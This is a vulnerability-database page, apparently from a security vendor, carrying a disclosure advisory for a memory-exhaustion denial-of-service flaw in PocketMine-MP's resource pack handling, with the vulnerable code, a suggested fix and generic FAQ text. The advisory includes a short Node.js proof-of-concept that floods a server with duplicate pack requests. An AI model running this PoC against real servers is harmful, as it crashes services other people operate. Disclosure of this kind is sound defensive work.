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CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

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413,830

Total vulnerabilities in the database

PocketMine-MP `ResourcePackDataInfoPacket` amplification vulnerability due to lack of resource pack sequence status checking — pocketmine / pocketmine-mp

Allocation of Resources Without Limits or Throttling

Summary

A denial-of-service / out-of-memory vulnerability exists in the STATUS_SEND_PACKS handling of ResourcePackClientResponsePacket. PocketMine-MP processes the packIds array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same STATUS_SEND_PACKS packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: High — Remote DoS from an authenticated client.

Details

Relevant code (simplified):

case ResourcePackClientResponsePacket::STATUS_SEND_PACKS:
    foreach($packet-&gt;packIds as $uuid){
        $splitPos = strpos($uuid, &quot;_&quot;);
        if($splitPos !== false){
            $uuid = substr($uuid, 0, $splitPos);
        }
        $pack = $this-&gt;getPackById($uuid);
        if(!($pack instanceof ResourcePack)){
            $this-&gt;disconnectWithError(&quot;Unknown pack $uuid requested...&quot;);
            return false;
        }
        $this-&gt;session-&gt;sendDataPacket(ResourcePackDataInfoPacket::create(
            $pack-&gt;getPackId(),
            self::PACK_CHUNK_SIZE,
            (int) ceil($pack-&gt;getPackSize() / self::PACK_CHUNK_SIZE),
            $pack-&gt;getPackSize(),
            $pack-&gt;getSha256(),
            false,
            ResourcePackType::RESOURCES
        ));
    }
    break;

Root cause:

The packIds array is taken directly from the client packet and processed as-is.
There is no check to ensure that all requested packs are unique.
A malicious client can craft a STATUS_SEND_PACKS packet with many duplicates of a valid UUID.
Each duplicate results in the server re-sending the same pack, consuming additional memory.

Why this is unexpected:

Mojang's official clients never send duplicates in packIds.
PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client.

Suggested fix: Before sending packs:

Remove duplicates from the incoming packIds array.
If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error.
Track which packs have already been sent to this player, and skip any that have already been transferred.

$alreadySent = $this-&gt;packsSent ?? [];

// Remove duplicates
$uniquePackIds = array_unique($packet-&gt;packIds);

// Detect abuse
if(count($packet-&gt;packIds) - count($uniquePackIds) &gt; 2){
    $this-&gt;disconnectWithError(&quot;Too many duplicate resource pack requests&quot;);
    return false;
}

foreach($uniquePackIds as $uuid){
    if(in_array($uuid, $alreadySent, true)){
        continue; // Skip packs already sent to this player
    }
    // existing code...
    $alreadySent[] = $uuid;
}

$this-&gt;packsSent = $alreadySent;

PoC

Join a PocketMine-MP server with at least one resource pack enabled.
Using a custom Bedrock client, send a ResourcePackClientResponsePacket with:
- status = STATUS_SEND_PACKS
- packIds = many duplicates of a known valid pack UUID.

Example Node.js PoC (requires bedrock-protocol and a valid PACK_UUID):

import { createClient } from &#039;bedrock-protocol&#039;;

const host = &#039;127.0.0.1&#039;;
const port = 19132;
const username = &#039;test&#039;;
const PACK_UUID = &#039;00000000-0000-0000-0000-000000000000&#039;; // replace with a real UUID
const DUPLICATES = 1000;

const client = createClient({
    host,
    port,
    username,
    offline: true
});

client.on(&#039;spawn&#039;, () =&gt; {
    console.log(&#039;[*] Sending duplicate pack request...&#039;);
    client.queue(&#039;resource_pack_client_response&#039;, {
        response_status: &#039;send_packs&#039;,
        resourcepackids: Array(DUPLICATES).fill(PACK_UUID)
    });
});

Impact

Type: Remote Denial of Service / Memory Exhaustion
Who is impacted: Any PocketMine-MP server with resource packs enabled
Requirements: Attacker must connect to the server (authenticated player)
Effect: Server memory rapidly increases, leading to freeze or crash

Published: Sep 2, 2025
Updated: Sep 3, 2025
GHSA: GHSA-fqqv-56h5-f57g
Severity: High
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-770

Affected Software
References

Software	Affected versions
pocketmine / pocketmine-mp	`< 5.32.1`

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.